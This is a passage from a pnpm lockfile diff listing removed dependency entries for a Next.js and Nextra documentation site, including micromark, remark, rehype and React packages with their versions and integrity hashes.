1.0.5 - estree-util-is-identifier-name: 2.1.0 - micromark-factory-mdx-expression: 1.0.9 - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - vfile-message: 3.1.4 - dev: false - - /micromark-extension-mdx-md@1.0.1: - resolution: {integrity: sha512-7MSuj2S7xjOQXAjjkbjBsHkMtb+mDGVW6uI2dBL9snOBCbZmoNgDAeZ0nSn9j3T42UE/g2xVNMn18PJxZvkBEA==} - dependencies: - micromark-util-types: 1.1.0 - dev: false - - /micromark-extension-mdxjs-esm@1.0.5: - resolution: {integrity: sha512-xNRBw4aoURcyz/S69B19WnZAkWJMxHMT5hE36GtDAyhoyn/8TuAeqjFJQlwk+MKQsUD7b3l7kFX+vlfVWgcX1w==} - dependencies: - '@types/estree': 1.0.5 - micromark-core-commonmark: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-events-to-acorn: 1.2.3 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - unist-util-position-from-estree: 1.1.2 - uvu: 0.5.6 - vfile-message: 3.1.4 - dev: false - - /micromark-extension-mdxjs@1.0.1: - resolution: {integrity: sha512-7YA7hF6i5eKOfFUzZ+0z6avRG52GpWR8DL+kN47y3f2KhxbBZMhmxe7auOeaTBrW2DenbbZTf1ea9tA2hDpC2Q==} - dependencies: - acorn: 8.11.3 - acorn-jsx: 5.3.2(acorn@8.11.3) - micromark-extension-mdx-expression: 1.0.8 - micromark-extension-mdx-jsx: 1.0.5 - micromark-extension-mdx-md: 1.0.1 - micromark-extension-mdxjs-esm: 1.0.5 - micromark-util-combine-extensions: 1.1.0 - micromark-util-types: 1.1.0 - dev: false - - /micromark-factory-destination@1.1.0: - resolution: {integrity: sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==} - dependencies: - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - dev: false - - /micromark-factory-label@1.1.0: - resolution: {integrity: sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==} - dependencies: - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - dev: false - - /micromark-factory-mdx-expression@1.0.9: - resolution: {integrity: sha512-jGIWzSmNfdnkJq05c7b0+Wv0Kfz3NJ3N4cBjnbO4zjXIlxJr+f8lk+5ZmwFvqdAbUy2q6B5rCY//g0QAAaXDWA==} - dependencies: - '@types/estree': 1.0.5 - micromark-util-character: 1.2.0 - micromark-util-events-to-acorn: 1.2.3 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - unist-util-position-from-estree: 1.1.2 - uvu: 0.5.6 - vfile-message: 3.1.4 - dev: false - - /micromark-factory-space@1.1.0: - resolution: {integrity: sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==} - dependencies: - micromark-util-character: 1.2.0 - micromark-util-types: 1.1.0 - dev: false - - /micromark-factory-title@1.1.0: - resolution: {integrity: sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==} - dependencies: - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - dev: false - - /micromark-factory-whitespace@1.1.0: - resolution: {integrity: sha512-v2WlmiymVSp5oMg+1Q0N1Lxmt6pMhIHD457whWM7/GUlEks1hI9xj5w3zbc4uuMKXGisksZk8DzP2UyGbGqNsQ==} - dependencies: - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - dev: false - - /micromark-util-character@1.2.0: - resolution: {integrity: sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==} - dependencies: - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - dev: false - - /micromark-util-character@2.1.0: - resolution: {integrity: sha512-KvOVV+X1yLBfs9dCBSopq/+G1PcgT3lAK07mC4BzXi5E7ahzMAF8oIupDDJ6mievI6F+lAATkbQQlQixJfT3aQ==} - dependencies: - micromark-util-symbol: 2.0.0 - micromark-util-types: 2.0.0 - dev: false - - /micromark-util-chunked@1.1.0: - resolution: {integrity: sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==} - dependencies: - micromark-util-symbol: 1.1.0 - dev: false - - /micromark-util-classify-character@1.1.0: - resolution: {integrity: sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==} - dependencies: - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - dev: false - - /micromark-util-combine-extensions@1.1.0: - resolution: {integrity: sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==} - dependencies: - micromark-util-chunked: 1.1.0 - micromark-util-types: 1.1.0 - dev: false - - /micromark-util-decode-numeric-character-reference@1.1.0: - resolution: {integrity: sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==} - dependencies: - micromark-util-symbol: 1.1.0 - dev: false - - /micromark-util-decode-string@1.1.0: - resolution: {integrity: sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==} - dependencies: - decode-named-character-reference: 1.0.2 - micromark-util-character: 1.2.0 - micromark-util-decode-numeric-character-reference: 1.1.0 - micromark-util-symbol: 1.1.0 - dev: false - - /micromark-util-encode@1.1.0: - resolution: {integrity: sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==} - dev: false - - /micromark-util-encode@2.0.0: - resolution: {integrity: sha512-pS+ROfCXAGLWCOc8egcBvT0kf27GoWMqtdarNfDcjb6YLuV5cM3ioG45Ys2qOVqeqSbjaKg72vU+Wby3eddPsA==} - dev: false - - /micromark-util-events-to-acorn@1.2.3: - resolution: {integrity: sha512-ij4X7Wuc4fED6UoLWkmo0xJQhsktfNh1J0m8g4PbIMPlx+ek/4YdW5mvbye8z/aZvAPUoxgXHrwVlXAPKMRp1w==} - dependencies: - '@types/acorn': 4.0.6 - '@types/estree': 1.0.5 - '@types/unist': 2.0.10 - estree-util-visit: 1.2.1 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - vfile-message: 3.1.4 - dev: false - - /micromark-util-html-tag-name@1.2.0: - resolution: {integrity: sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==} - dev: false - - /micromark-util-normalize-identifier@1.1.0: - resolution: {integrity: sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==} - dependencies: - micromark-util-symbol: 1.1.0 - dev: false - - /micromark-util-resolve-all@1.1.0: - resolution: {integrity: sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==} - dependencies: - micromark-util-types: 1.1.0 - dev: false - - /micromark-util-sanitize-uri@1.2.0: - resolution: {integrity: sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==} - dependencies: - micromark-util-character: 1.2.0 - micromark-util-encode: 1.1.0 - micromark-util-symbol: 1.1.0 - dev: false - - /micromark-util-sanitize-uri@2.0.0: - resolution: {integrity: sha512-WhYv5UEcZrbAtlsnPuChHUAsu/iBPOVaEVsntLBIdpibO0ddy8OzavZz3iL2xVvBZOpolujSliP65Kq0/7KIYw==} - dependencies: - micromark-util-character: 2.1.0 - micromark-util-encode: 2.0.0 - micromark-util-symbol: 2.0.0 - dev: false - - /micromark-util-subtokenize@1.1.0: - resolution: {integrity: sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==} - dependencies: - micromark-util-chunked: 1.1.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - dev: false - - /micromark-util-symbol@1.1.0: - resolution: {integrity: sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==} - dev: false - - /micromark-util-symbol@2.0.0: - resolution: {integrity: sha512-8JZt9ElZ5kyTnO94muPxIGS8oyElRJaiJO8EzV6ZSyGQ1Is8xwl4Q45qU5UOg+bGH4AikWziz0iN4sFLWs8PGw==} - dev: false - - /micromark-util-types@1.1.0: - resolution: {integrity: sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==} - dev: false - - /micromark-util-types@2.0.0: - resolution: {integrity: sha512-oNh6S2WMHWRZrmutsRmDDfkzKtxF+bc2VxLC9dvtrDIRFln627VsFP6fLMgTryGDljgLPjkrzQSDcPrjPyDJ5w==} - dev: false - - /micromark@3.2.0: - resolution: {integrity: sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==} - dependencies: - '@types/debug': 4.1.12 - debug: 4.3.4 - decode-named-character-reference: 1.0.2 - micromark-core-commonmark: 1.1.0 - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-chunked: 1.1.0 - micromark-util-combine-extensions: 1.1.0 - micromark-util-decode-numeric-character-reference: 1.1.0 - micromark-util-encode: 1.1.0 - micromark-util-normalize-identifier: 1.1.0 - micromark-util-resolve-all: 1.1.0 - micromark-util-sanitize-uri: 1.2.0 - micromark-util-subtokenize: 1.1.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - transitivePeerDependencies: - - supports-color - dev: false - - /mri@1.2.0: - resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==} - engines: {node: '>=4'} - dev: false - - /ms@2.1.2: - resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==} - dev: false - - /nanoid@3.3.7: - resolution: {integrity: sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==} - engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} - hasBin: true - dev: false - - /next-mdx-remote@4.4.1(react-dom@18.2.0)(react@18.2.0): - resolution: {integrity: sha512-1BvyXaIou6xy3XoNF4yaMZUCb6vD2GTAa5ciOa6WoO+gAUTYsb1K4rI/HSC2ogAWLrb/7VSV52skz07vOzmqIQ==} - engines: {node: '>=14', npm: '>=7'} - peerDependencies: - react: '>=16.x <=18.x' - react-dom: '>=16.x <=18.x' - dependencies: - '@mdx-js/mdx': 2.3.0 - '@mdx-js/react': 2.3.0(react@18.2.0) - react: 18.2.0 - react-dom: 18.2.0(react@18.2.0) - vfile: 5.3.7 - vfile-matter: 3.0.1 - transitivePeerDependencies: - - supports-color - dev: false - - /next-seo@6.5.0(next@13.5.6)(react-dom@18.2.0)(react@18.2.0): - resolution: {integrity: sha512-MfzUeWTN/x/rsKp/1n0213eojO97lIl0unxqbeCY+6pAucViHDA8GSLRRcXpgjsSmBxfCFdfpu7LXbt4ANQoNQ==} - peerDependencies: - next: ^8.1.1-canary.54 || >=9.0.0 - react: '>=16.0.0' - react-dom: '>=16.0.0' - dependencies: - next: 13.5.6(react-dom@18.2.0)(react@18.2.0) - react: 18.2.0 - react-dom: 18.2.0(react@18.2.0) - dev: false - - /next-themes@0.2.1(next@13.5.6)(react-dom@18.2.0)(react@18.2.0): - resolution: {integrity: sha512-B+AKNfYNIzh0vqQQKqQItTS8evEouKD7H5Hj3kmuPERwddR2TxvDSFZuTj6T7Jfn1oyeUyJMydPl1Bkxkh0W7A==} - peerDependencies: - next: '*' - react: '*' - react-dom: '*' - dependencies: - next: 13.5.6(react-dom@18.2.0)(react@18.2.0) - react: 18.2.0 - react-dom: 18.2.0(react@18.2.0) - dev: false - - /next@13.5.6(react-dom@18.2.0)(react@18.2.0): - resolution: {integrity: sha512-Y2wTcTbO4WwEsVb4A8VSnOsG1I9ok+h74q0ZdxkwM3EODqrs4pasq7O0iUxbcS9VtWMicG7f3+HAj0r1+NtKSw==} - engines: {node: '>=16.14.0'} - hasBin: true - peerDependencies: - '@opentelemetry/api': ^1.1.0 - react: ^18.2.0 - react-dom: ^18.2.0 - sass: ^1.3.0 - peerDependenciesMeta: - '@opentelemetry/api': - optional: true - sass: - optional: true - dependencies: - '@next/env': 13.5.6 - '@swc/helpers': 0.5.2 - busboy: 1.6.0 - caniuse-lite: 1.0.30001600 - postcss: 8.4.31 - react: 18.2.0 - react-dom: 18.2.0(react@18.2.0) - styled-jsx: 5.1.1(react@18.2.0) - watchpack: 2.4.0 - optionalDependencies: - '@next/swc-darwin-arm64': 13.5.6 - '@next/swc-darwin-x64': 13.5.6 - '@next/swc-linux-arm64-gnu': 13.5.6 - '@next/swc-linux-arm64-musl': 13.5.6 - '@next/swc-linux-x64-gnu': 13.5.6 - '@next/swc-linux-x64-musl': 13.5.6 - '@next/swc-win32-arm64-msvc': 13.5.6 - '@next/swc-win32-ia32-msvc': 13.5.6 - '@next/swc-win32-x64-msvc': 13.5.6 - transitivePeerDependencies: - - '@babel/core' - - babel-plugin-macros - dev: false - - /nextra-theme-docs@2.13.4(next@13.5.6)(nextra@2.13.4)(react-dom@18.2.0)(react@18.2.0): - resolution: {integrity: sha512-2XOoMfwBCTYBt8ds4ZHftt9Wyf2XsykiNo02eir/XEYB+sGeUoE77kzqfidjEOKCSzOHYbK9BDMcg2+B/2vYRw==} - peerDependencies: - next: '>=9.5.3' - nextra: 2.13.4 - react: '>=16.13.1' - react-dom: '>=16.13.1' - dependencies: - '@headlessui/react': 1.7.18(react-dom@18.2.0)(react@18.2.0) - '@popperjs/core': 2.11.8 - clsx: 2.1.0 - escape-string-regexp: 5.0.0 - flexsearch: 0.7.43 - focus-visible: 5.2.0 - git-url-parse: 13.1.1 - intersection-observer: 0.12.2 - match-sorter: 6.3.4 - next: 13.5.6(react-dom@18.2.0)(react@18.2.0) - next-seo: 6.5.0(next@13.5.6)(react-dom@18.2.0)(react@18.2.0) - next-themes: 0.2.1(next@13.5.6)(react-dom@18.2.0)(react@18.2.0) - nextra: 2.13.4(next@13.5.6)(react-dom@18.2.0)(react@18.2.0) - react: 18.2.0 - react-dom: 18.2.0(react@18.2.0) - scroll-into-view-if-needed: 3.1.0 - zod: 3.22.4 - dev: false - - /nextra@2.13.4(next@13.5.6)(react-dom@18.2.0)(react@18.2.0): - resolution: {integrity: sha512-7of2rSBxuUa3+lbMmZwG9cqgftcoNOVQLTT6Rxf3EhBR9t1EI7b43dted8YoqSNaigdE3j1CoyNkX8N/ZzlEpw==} - engines: {node: '>=16'} - peerDependencies: - next: '>=9.5.3' - react: '>=16.13.1' - react-dom: '>=16.13.1' - dependencies: - '@headlessui/react': 1.7.18(react-dom@18.2.0)(react@18.2.0) - '@mdx-js/mdx': 2.3.0 - '@mdx-js/react': 2.3.0(react@18.2.0) - '@napi-rs/simple-git': 0.1.16 - '@theguild/remark-mermaid': 0.0.5(react@18.2.0) - '@theguild/remark-npm2yarn': 0.2.1 - clsx: 2.1.0 - github-slugger: 2.0.0 - graceful-fs: 4.2.11 - gray-matter: 4.0.3 - katex: 0.16.9 - lodash.get: 4.4.2 - next: 13.5.6(react-dom@18.2.0)(react@18.2.0) - next-mdx-remote: 4.4.1(react-dom@18.2.0)(react@18.2.0) - p-limit: 3.1.0 - react: 18.2.0 - react-dom: 18.2.0(react@18.2.0) - rehype-katex: 7.0.0 - rehype-pretty-code: 0.9.11(shiki@0.14.7) - rehype-raw: 7.0.0 - remark-gfm: 3.0.1 - remark-math: 5.1.1 - remark-reading-time: 2.0.1 - shiki: 0.14.7 - slash: 3.0.0 - title: 3.5.3 - unist-util-remove: 4.0.0 - unist-util-visit: 5.0.0 - zod: 3.22.4 - transitivePeerDependencies: - - supports-color - dev: false - - /non-layered-tidy-tree-layout@2.0.2: - resolution: {integrity: sha512-gkXMxRzUH+PB0ax9dUN0yYF0S25BqeAYqhgMaLUFmpXLEk7Fcu8f4emJuOAY0V8kjDICxROIKsTAKsV/v355xw==} - dev: false - - /npm-run-path@2.0.2: - resolution: {integrity: sha512-lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==} - engines: {node: '>=4'} - dependencies: - path-key: 2.0.1 - dev: false - - /npm-to-yarn@2.2.1: - resolution: {integrity: sha512-O/j/ROyX0KGLG7O6Ieut/seQ0oiTpHF2tXAcFbpdTLQFiaNtkyTXXocM1fwpaa60dg1qpWj0nHlbNhx6qwuENQ==} - engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - dev: false - - /p-finally@1.0.0: - resolution: {integrity: sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==} - engines: {node: '>=4'} - dev: false - - /p-limit@3.1.0: - resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} - engines: {node: '>=10'} - dependencies: - yocto-queue: 0.1.0 - dev: false - - /parse-entities@4.0.1: - resolution: {integrity: sha512-SWzvYcSJh4d/SGLIOQfZ/CoNv6BTlI6YEQ7Nj82oDVnRpwe/Z/F1EMx42x3JAOwGBlCjeCH0BRJQbQ/opHL17w==} - dependencies: - '@types/unist': 2.0.10 - character-entities: 2.0.2 - character-entities-legacy: 3.0.0 - character-reference-invalid: 2.0.1 - decode-named-character-reference: 1.0.2 - is-alphanumerical: 2.0.1 - is-decimal: 2.0.1 - is-hexadecimal: 2.0.1 - dev: false - - /parse-numeric-range@1.3.0: - resolution: {integrity: sha512-twN+njEipszzlMJd4ONUYgSfZPDxgHhT9Ahed5uTigpQn90FggW4SA/AIPq/6a149fTbE9qBEcSwE3FAEp6wQQ==} - dev: false - - /parse-path@7.0.0: - resolution: {integrity: sha512-Euf9GG8WT9CdqwuWJGdf3RkUcTBArppHABkO7Lm8IzRQp0e2r/kkFnmhu4TSK30Wcu5rVAZLmfPKSBBi9tWFog==} - dependencies: - protocols: 2.0.1 - dev: false - - /parse-url@8.1.0: - resolution: {integrity: sha512-xDvOoLU5XRrcOZvnI6b8zA6n9O9ejNk/GExuz1yBuWUGn9KA97GI6HTs6u02wKara1CeVmZhH+0TZFdWScR89w==} - dependencies: - parse-path: 7.0.0 - dev: false - - /parse5@7.1.2: - resolution: {integrity: sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==} - dependencies: - entities: 4.5.0 - dev: false - - /path-key@2.0.1: - resolution: {integrity: sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==} - engines: {node: '>=4'} - dev: false - - /periscopic@3.1.0: - resolution: {integrity: sha512-vKiQ8RRtkl9P+r/+oefh25C3fhybptkHKCZSPlcXiJux2tJF55GnEj3BVn4A5gKfq9NWWXXrxkHBwVPUfH0opw==} - dependencies: - '@types/estree': 1.0.5 - estree-walker: 3.0.3 - is-reference: 3.0.2 - dev: false - - /picocolors@1.0.0: - resolution: {integrity: sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==} - dev: false - - /postcss@8.4.31: - resolution: {integrity: sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==} - engines: {node: ^10 || ^12 || >=14} - dependencies: - nanoid: 3.3.7 - picocolors: 1.0.0 - source-map-js: 1.2.0 - dev: false - - /property-information@6.4.1: - resolution: {integrity: sha512-OHYtXfu5aI2sS2LWFSN5rgJjrQ4pCy8i1jubJLe2QvMF8JJ++HXTUIVWFLfXJoaOfvYYjk2SN8J2wFUWIGXT4w==} - dev: false - - /protocols@2.0.1: - resolution: {integrity: sha512-/XJ368cyBJ7fzLMwLKv1e4vLxOju2MNAIokcr7meSaNcVbWz/CPcW22cP04mwxOErdA5mwjA8Q6w/cdAQxVn7Q==} - dev: false - - /pseudomap@1.0.2: - resolution: {integrity: sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ==} - dev: false - - /react-dom@18.2.0(react@18.2.0): - resolution: {integrity: sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==} - peerDependencies: - react: ^18.2.0 - dependencies: - loose-envify: 1.4.0 - react: 18.2.0 - scheduler: 0.23.0 - dev: false - - /react@18.2.0: - resolution: {integrity: sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==} - engines: {node: '>=0.10.0'} - dependencies: - loose-envify: 1.4.0 - dev: false - - /reading-time@1.5.0: - resolution: {integrity: sha512-onYyVhBNr4CmAxFsKS7bz+uTLRakypIe4R+5A824vBSkQy/hB3fZepoVEf8OVAxzLvK+H/jm9TzpI3ETSm64Kg==} - dev: false - - /regenerator-runtime@0.14.1: - resolution: {integrity: sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==} - dev: false - - /rehype-katex@7.0.0: - resolution: {integrity: sha512-h8FPkGE00r2XKU+/acgqwWUlyzve1IiOKwsEkg4pDL3k48PiE0Pt+/uLtVHDVkN1yA4iurZN6UES8ivHVEQV6Q==} - dependencies: - '@types/hast': 3.0.4 - '@types/katex': 0.16.7 - hast-util-from-html-isomorphic: 2.0.0 - hast-util-to-text: 4.0.0 - katex: 0.16.9 - unist-util-visit-parents: 6.0.1 - vfile: 6.0.1 - dev: false - - /rehype-pretty-code@0.9.11(shiki@0.14.7): - resolution: {integrity: sha512-Eq90eCYXQJISktfRZ8PPtwc5SUyH6fJcxS8XOMnHPUQZBtC6RYo67gGlley9X2nR8vlniPj0/7oCDEYHKQa/oA==} - engines: {node: '>=16'} - peerDependencies: - shiki: '*' - dependencies: - '@types/hast': 2.3.10 - hash-obj: 4.0.0 - parse-numeric-range: 1.3.0 - shiki: 0.14.7 - dev: false - - /rehype-raw@7.0.0: - resolution: {integrity: sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==} - dependencies: - '@types/hast': 3.0.4 - hast-util-raw: 9.0.2 - vfile: 6.0.1 - dev: false - - /remark-gfm@3.0.1: - resolution: {integrity: sha512-lEFDoi2PICJyNrACFOfDD3JlLkuSbOa5Wd8EPt06HUdptv8Gn0bxYTdbU/XXQ3swAPkEaGxxPN9cbnMHvVu1Ig==} - dependencies: - '@types/mdast': 3.0.15 - mdast-util-gfm: 2.0.2 - micromark-extension-gfm: 2.0.3 - unified: 10.1.2 - transitivePeerDependencies: - - supports-color - dev: false - - /remark-math@5.1.1: - resolution: {integrity: sha512-cE5T2R/xLVtfFI4cCePtiRn+e6jKMtFDR3P8V3qpv8wpKjwvHoBA4eJzvX+nVrnlNy0911bdGmuspCSwetfYHw==} - dependencies: - '@types/mdast': 3.0.15 - mdast-util-math: 2.0.2 - micromark-extension-math: 2.1.2 - unified: 10.1.2 - dev: false - - /remark-mdx@2.3.0: - resolution: {integrity: sha512-g53hMkpM0I98MU266IzDFMrTD980gNF3BJnkyFcmN+dD873mQeD5rdMO3Y2X+x8umQfbSE0PcoEDl7ledSA+2g==} - dependencies: - mdast-util-mdx: 2.0.1 - micromark-extension-mdxjs: 1.0.1 - transitivePeerDependencies: - - supports-color - dev: false - - /remark-parse@10.0.2: - resolution: {integrity: sha512-3ydxgHa/ZQzG8LvC7jTXccARYDcRld3VfcgIIFs7bI6vbRSxJJmzgLEIIoYKyrfhaY+ujuWaf/PJiMZXoiCXgw==} - dependencies: - '@types/mdast': 3.0.15 - mdast-util-from-markdown: 1.3.1 - unified: 10.1.2 - transitivePeerDependencies: - - supports-color - dev: false - - /remark-reading-time@2.0.1: - resolution: {integrity: sha512-fy4BKy9SRhtYbEHvp6AItbRTnrhiDGbqLQTSYVbQPGuRCncU1ubSsh9p/W5QZSxtYcUXv8KGL0xBgPLyNJA1xw==} - dependencies: - estree-util-is-identifier-name: 2.1.0 - estree-util-value-to-estree: 1.3.0 - reading-time: 1.5.0 - unist-util-visit: 3.1.0 - dev: false - - /remark-rehype@10.1.0: - resolution: {integrity: sha512-EFmR5zppdBp0WQeDVZ/b66CWJipB2q2VLNFMabzDSGR66Z2fQii83G5gTBbgGEnEEA0QRussvrFHxk1HWGJskw==} - dependencies: - '@types/hast': 2.3.10 - '@types/mdast': 3.0.15 - mdast-util-to-hast: 12.3.0 - unified: 10.1.2 - dev: false - - /remove-accents@0.5.0: - resolution: {integrity: sha512-8g3/Otx1eJaVD12e31UbJj1YzdtVvzH85HV7t+9MJYk/u3XmkOUJ5Ys9wQrf9PCPK8+xn4ymzqYCiZl6QWKn+A==} - dev: false - - /robust-predicates@3.0.2: - resolution: {integrity: sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg==} - dev: false - - /rw@1.3.3: - resolution: {integrity: sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==} - dev: false - - /sade@1.8.1: - resolution: {integrity: sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==} - engines: {node: '>=6'} - dependencies: - mri: 1.2.0 - dev: false - - /safer-buffer@2.1.2: - resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} - dev: false - - /scheduler@0.23.0: - resolution: {integrity: sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==} - dependencies: - loose-envify: 1.4.0 - dev: false - - /scroll-into-view-if-needed@3.1.0: - resolution: {integrity: sha512-49oNpRjWRvnU8NyGVmUaYG4jtTkNonFZI86MmGRDqBphEK2EXT9gdEUoQPZhuBM8yWHxCWbobltqYO5M4XrUvQ==} - dependencies: - compute-scroll-into-view: 3.1.0 - dev: false - - /section-matter@1.0.0: - resolution: {integrity: sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==} - engines: {node: '>=4'} - dependencies: - extend-shallow: 2.0.1 - kind-of: 6.0.3 - dev: false - - /shebang-command@1.2.0: - resolution: {integrity: sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==} - engines: {node: '>=0.10.0'} - dependencies: - shebang-regex: 1.0.0 - dev: false - - /shebang-regex@1.0.0: - resolution: {integrity: 